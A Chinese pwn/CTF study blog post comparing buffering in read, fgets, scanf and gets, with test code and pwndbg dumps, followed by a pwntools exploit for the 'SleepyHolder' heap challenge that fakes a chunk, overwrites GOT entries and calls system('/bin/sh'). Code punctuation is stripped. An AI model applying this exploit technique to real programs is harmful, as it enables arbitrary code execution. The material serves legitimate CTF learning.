不同输入函数的区别比较及send和sendline使用
不同输入函数的区别比较及send和sendline使用read()read的内容都是从缓存区中读入的也就是说不管你输入的数据是大于等于还是小于他都是先放在输入缓冲区中的然后再从输入缓冲区中读取conunt个数据到buf里这时候就可能有三种情况输入字节数count此时多余的字节会仍然存放在出入缓冲区中输入字节数count会读取所有输入字节包括回车0x0a)输入字节数count会读取所有输入字节包括回车0x0a)实验如下注参考了XiDP和ZIKH26两位师傅的代码。malloc(初始时将内存均设置为‘b’)// step 1 测试read函数限定输入大小为8字节查看分别输入 a*6 a*8 a*10 后内存的样子printf(read a*6\n);read(0,ptr[0],8);while(getchar()!\ngetchar()!EOF);// 为了防止残留的\x0a影响后续的输入这里采用了getchar来把多余的\x0a吃掉printf(read a*8\n);read(0,ptr[1],8);while(getchar()!\ngetchar()!EOF);printf(read a*10\n);read(0,ptr[2],8);while(getchar()!\ngetchar()!EOF);sleep(0.1);printf(ptr[0]-%s,ptr[0]);printf(ptr[1]-%s,ptr[1]);printf(ptr[2]-%s,ptr[2]);效果read a*6 aaaaaa read a*8 aaaaaaaa read a*10 aaaaaaaaaa ptr[0]-aaaaaa bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[1]-aaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[2]-aaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb内存pwndbg x/8gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x620a616161616161 0x6262626262626262 0x5555555592b0: 0x6262626262626262 0x6262626262626262 0x5555555592c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555592d0: 0x0000000000000000 0x0000000000000041 0x5555555592e0: 0x6161616161616161 0x6262626262626262 0x5555555592f0: 0x6262626262626262 0x6262626262626262 0x555555559300: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559310: 0x0000000000000000 0x0000000000000041 0x555555559320: 0x6161616161616161 0x6262626262626262 0x555555559330: 0x6262626262626262 0x6262626262626262 0x555555559340: 0x6262626262626262 0x6262626262626262当不处理结尾换行符时// step 1 测试read函数限定输入大小为8字节查看分别输入 a*6 a*8 a*10 后内存的样子printf(read a*6\n);read(0,ptr[0],8);//while (getchar() ! \n getchar() ! EOF); // 为了防止残留的\x0a影响后续的输入这里采用了getchar来把多余的\x0a吃掉printf(read a*8\n);read(0,ptr[1],8);//while (getchar() ! \n getchar() ! EOF);printf(read a*10\n);read(0,ptr[2],8);//while (getchar() ! \n getchar() ! EOF);sleep(0.1);printf(ptr[0]-%s,ptr[0]);printf(ptr[1]-%s,ptr[1]);printf(ptr[2]-%s,ptr[2]);效果read a*6 aaaaaa read a*8 aaaaaaaa read a*10 ptr[0]-aaaaaa bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[1]-aaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbptr[2]- bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb内存pwndbg x/8gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000041 0x5555555592a0: 0x620a616161616161 0x6262626262626262 0x5555555592b0: 0x6262626262626262 0x6262626262626262 0x5555555592c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555592d0: 0x0000000000000000 0x0000000000000041 0x5555555592e0: 0x6161616161616161 0x6262626262626262 0x5555555592f0: 0x6262626262626262 0x6262626262626262 0x555555559300: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559310: 0x0000000000000000 0x0000000000000041 0x555555559320: 0x626262626262620a 0x6262626262626262 0x555555559330: 0x6262626262626262 0x6262626262626262 0x555555559340: 0x6262626262626262 0x6262626262626262可以发现当提示输入read a*10时程序并没有让我们读入就直接跳到后面的输出函数了因为当我们输入‘a’*8加回车时缓存区里回车和\x00并没有移入buf因此read a*10时只读入换行就结束了。综上我们可以发现read函数除非读入count字节数或者遇到\x00不然输入其他东西都无法阻止read停止直到读取完后放入指定的内存中结尾也不会添加\x00没读取到的部分则保持原样不动。fgets()// step 2 测试fgets函数限定输入大小为8字节查看分别输入 a*6 a*8 a*10 后内存的样子printf(fgets a*6\n);fgets(ptr[4],8,stdin);while(getchar()!\ngetchar()!EOF);printf(fgets a*8\n);fgets(ptr[5],8,stdin);while(getchar()!\ngetchar()!EOF);printf(fgets a*10\n);fgets(ptr[6],8,stdin);while(getchar()!\ngetchar()!EOF);sleep(0.1);效果pwndbg x/8gx 0x555555559390 0x555555559390: 0x0000000000000000 0x0000000000000041 0x5555555593a0: 0x000a616161616161 0x6262626262626262 0x5555555593b0: 0x6262626262626262 0x6262626262626262 0x5555555593c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555593d0: 0x0000000000000000 0x0000000000000041 0x5555555593e0: 0x0061616161616161 0x6262626262626262 0x5555555593f0: 0x6262626262626262 0x6262626262626262 0x555555559400: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559410: 0x0000000000000000 0x0000000000000041 0x555555559420: 0x0061616161616161 0x6262626262626262 0x555555559430: 0x6262626262626262 0x6262626262626262 0x555555559440: 0x6262626262626262 0x6262626262626262char *fgets(char *str, int size, FILE *stream);fgets与read不同的是fgets最多读取size - 1个字符并在末尾添加\0。当不处理结尾换行符时效果一样说明fgets读取后剩下的字节并不为下一次读入所用。scanf()printf(scanf a*6\n);scanf(%8s,ptr[8]);while(getchar()!\ngetchar()!EOF);printf(scanf a*8\n);scanf(%8s,ptr[9]);while(getchar()!\ngetchar()!EOF);printf(scanf a*10\n);scanf(%8s,ptr[10]);while(getchar()!\ngetchar()!EOF);sleep(0.1);内存pwndbg 0x555555559490: 0x0000000000000000 0x0000000000000041 0x5555555594a0: 0x6200616161616161 0x6262626262626262 0x5555555594b0: 0x6262626262626262 0x6262626262626262 0x5555555594c0: 0x6262626262626262 0x6262626262626262 pwndbg 0x5555555594d0: 0x0000000000000000 0x0000000000000041 0x5555555594e0: 0x6161616161616161 0x6262626262626200 0x5555555594f0: 0x6262626262626262 0x6262626262626262 0x555555559500: 0x6262626262626262 0x6262626262626262 pwndbg 0x555555559510: 0x0000000000000000 0x0000000000000041 0x555555559520: 0x6161616161616161 0x6262626262626200 0x555555559530: 0x6262626262626262 0x6262626262626262 0x555555559540: 0x6262626262626262 0x6262626262626262scanf是从第一个非空白字符空格 换行 制表符开始读入的就是你输入的数据在按下回车的之前输入的数据都会被存储在输入缓冲区包括回车当按下回车键之后scanf就会开始从输入缓冲区里面读取数据把读取的数据都传送到你指定的地址直到遇见了空白符然后停止。它仅仅是遇见空白符停止了但是空白符以及空白符后面的内容依然在输入缓冲区里面。gets()// step 4 测试gets函数输入之后是什么样子的仅输入一次输入6个字节的aprintf(gets a*6\n);gets(ptr[12]);while(getchar()!\ngetchar()!EOF);sleep(0.1);效果pwndbg 0x555555559590: 0x0000000000000000 0x0000000000000041 0x5555555595a0: 0x6200616161616161 0x6262626262626262 0x5555555595b0: 0x6262626262626262 0x6262626262626262 0x5555555595c0: 0x6262626262626262 0x6262626262626262使用 gets() 时系统会将最后输入的换行符也就是回车从缓冲区中取出来然后给舍弃因此缓冲区中不会遗留换行符总结—send和sendline选择read建议用sendfgetsgetsscanf这三个函数只能使用sendline,但是在使用时也可能会因为多余的\x00影响栈帧结构完整实验代码from pwn import*context.archamd64context.oslinuxcontext.log_leveldebugdefadd1(size,content):p.sendafter(3. Renew secret,b1)p.sendafter(3.Keep a huge secret and lock it forever\n,str(size))p.sendafter(Tell me your secret: ,content)defadd2(size,content):p.sendafter(3. Renew secret,b1)p.sendafter(2. Big secret\n,str(size))p.sendafter(Tell me your secret: ,content)defdelete(index):p.sendafter(3. Renew secret\n,b2)p.sendafter(2. Big secret\n,str(index).encode())defedit(size,content):p.sendafter(3. Renew secret\n,b3)p.sendafter(2. Big secret\n,str(size).encode())p.sendafter(Tell me your secret: \n,content)pprocess(./SleepyHolder)libcELF(/home/yaaaa/study/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so)elfELF(./SleepyHolder)add1(1,ba)add1(2,bb)delete(1)add1(3,bc)delete(1)chunk0x6020d0fdchunk-0x18bkchunk-0x10fake_chunkp64(0)p64(0x21)p64(fd)p64(bk)p64(0x20)add2(1,fake_chunk)delete(2)gdb.attach(p)payloadbb*8p64(elf.got[atoi])*2p64(elf.got[free])edit(1,payload)edit(1,p64(elf.got[puts]))delete(2)sp.recvuntil(b\n)[:-1].ljust(8,b\x00)libcbaseu64(s)-libc.symbols[atoi]print(hex(libcbase))system_addrlibcbaselibc.symbols[system]edit(1,p64(system_addr))add(1,2,b/bin/sh\x00\x00)delete(2)p.interactive()参考文章不同输入函数之间的区别 | XiDPzikh26.github.io

相关新闻

基于SpringBoot+Vue的海南自贸港智慧服务平台设计与实现

基于SpringBoot+Vue的海南自贸港智慧服务平台设计与实现

文末获取源码开发语言:Java使用框架:spring boot前端技术:JavaScript、Vue.js 、css开发工具:IDEA/MyEclipse/Eclipse、Visual Studio Code数据库:MySQL 5.7/8.0数据库管理工具:phpstudy/NavicatJDK版本&am…

2026/5/17 9:16:25 阅读更多 →
RAG系统实战踩坑指南,程序员必学收藏!大模型知识库问答完整解决方案

RAG系统实战踩坑指南,程序员必学收藏!大模型知识库问答完整解决方案

一、RAG到底在解决什么问题在动手之前,我想先聊聊RAG这个概念,因为很多刚接触的朋友容易搞混。大模型很强,但它有两个致命弱点: 第一,知识有截止日期。 GPT-4的训练数据截止到某个时间点,它不知道你们公司上…

2026/5/17 9:16:24 阅读更多 →
计算机毕业设计:基于python的电商销量预测可视化系统 Django ARIMA预测 爬虫可视化 机器学习 深度学习 agent 大数据 大模型(建议收藏)✅

计算机毕业设计:基于python的电商销量预测可视化系统 Django ARIMA预测 爬虫可视化 机器学习 深度学习 agent 大数据 大模型(建议收藏)✅

博主介绍:✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业项目实战6年之久,选择我们就是选择放心、选择安心毕业✌ > 🍅想要获取完整文章或者源码,或者代做,拉到文章底部即可与…

2026/5/17 1:23:35 阅读更多 →

最新新闻

如何用VRCT实现VRChat跨语言实时沟通?2025全面操作指南

如何用VRCT实现VRChat跨语言实时沟通?2025全面操作指南

如何用VRCT实现VRChat跨语言实时沟通?2025全面操作指南 【免费下载链接】VRCT VRCT(VRChat Chatbox Translator & Transcription) 项目地址: https://gitcode.com/gh_mirrors/vr/VRCT 在全球化的VRChat虚拟社交平台上,语言差异常常成为国际交…

2026/7/3 2:00:20 阅读更多 →
颠覆未来:2026武汉人形机器人及具身智能展览会开启智能新纪元

颠覆未来:2026武汉人形机器人及具身智能展览会开启智能新纪元

颠覆未来:2026武汉人形机器人及具身智能展览会开启智能新纪元武汉9月大展聚焦具身智能,引领科技浪潮人形机器人走进现实,武汉展会揭秘未来应用场景当人形机器人从科幻走进现实,这场汇聚全球顶尖科技的盛会即将在武汉拉开帷幕。202…

2026/7/3 2:00:20 阅读更多 →
内蒙古本地实体企业线上获客指南:GEO + 官网 + 短视频组合打法

内蒙古本地实体企业线上获客指南:GEO + 官网 + 短视频组合打法

对于内蒙古的实体企业,尤其是制造业工厂、商贸经销商、本地服务商而言,客源高度集中在本地及周边盟市,传统线下拓客成本越来越高,线上获客又常常找不到精准方向,泛流量多、意向客户少。针对本地实体企业的特性&#xf…

2026/7/3 1:58:20 阅读更多 →
手把手教你用OpenCV和YOLO搭建实时目标检测系统(毕设实战)

手把手教你用OpenCV和YOLO搭建实时目标检测系统(毕设实战)

临近毕业季,很多计算机、电子信息、人工智能相关专业的同学都在为毕设选题和实现发愁。特别是计算机视觉方向,听起来高大上,但面对复杂的算法、庞大的代码库和繁琐的环境配置,往往让人望而却步。如果你也正为“基于深度学习的XX检…

2026/7/3 1:56:19 阅读更多 →
直流电机静音控制方案:H桥驱动与PID算法实践

直流电机静音控制方案:H桥驱动与PID算法实践

1. 项目背景与核心器件选型在工业自动化和消费电子领域,直流电机控制一直是个经典课题。传统PWM调速方案虽然成本低廉,但开关噪声问题始终困扰着对声学敏感的应用场景。这次我们选用东芝的TB9051FTG驱动芯片搭配Microchip的PIC18F46K20 MCU,构…

2026/7/3 1:54:19 阅读更多 →
Home Assistant Operating System终极方案:如何构建专业级智能家居操作系统?

Home Assistant Operating System终极方案:如何构建专业级智能家居操作系统?

Home Assistant Operating System终极方案:如何构建专业级智能家居操作系统? 【免费下载链接】operating-system :beginner: Home Assistant Operating System 项目地址: https://gitcode.com/gh_mirrors/op/operating-system Home Assistant Ope…

2026/7/3 1:54:19 阅读更多 →

日新闻

Nginx防御TLS重协商攻击实战:从原理到配置与监控

Nginx防御TLS重协商攻击实战:从原理到配置与监控

1. 项目概述:为什么TLS重协商攻击至今仍需警惕十多年前的CVE-2011-1473,一个关于TLS/SSL协议重协商机制的漏洞,现在提起来还有必要吗?很多运维和开发朋友可能会觉得,这都老掉牙了,现代服务器和客户端不都默…

2026/7/3 0:03:59 阅读更多 →
华为防火墙双通道远程管理实战:Web与SSH配置详解

华为防火墙双通道远程管理实战:Web与SSH配置详解

1. 项目概述:为什么需要双通道远程管理防火墙?在任何一个稍具规模的企业网络里,防火墙都是那个默默守护在边界的关键角色。作为网络工程师,我们不可能每次都跑到机房,插上console线去配置它。远程管理能力,…

2026/7/3 0:03:59 阅读更多 →
AD74413R与PIC18F65K40的高精度工业数据采集方案

AD74413R与PIC18F65K40的高精度工业数据采集方案

1. 项目概述:AD74413R与PIC18F65K40的协同工作在工业自动化和精密测量领域,同时实现高精度模数转换(ADC)和数模转换(DAC)功能是许多复杂系统的核心需求。AD74413R作为一款四通道可配置模拟输入/输出器件,与PIC18F65K40微控制器的组合&#xf…

2026/7/3 0:05:59 阅读更多 →

周新闻

月新闻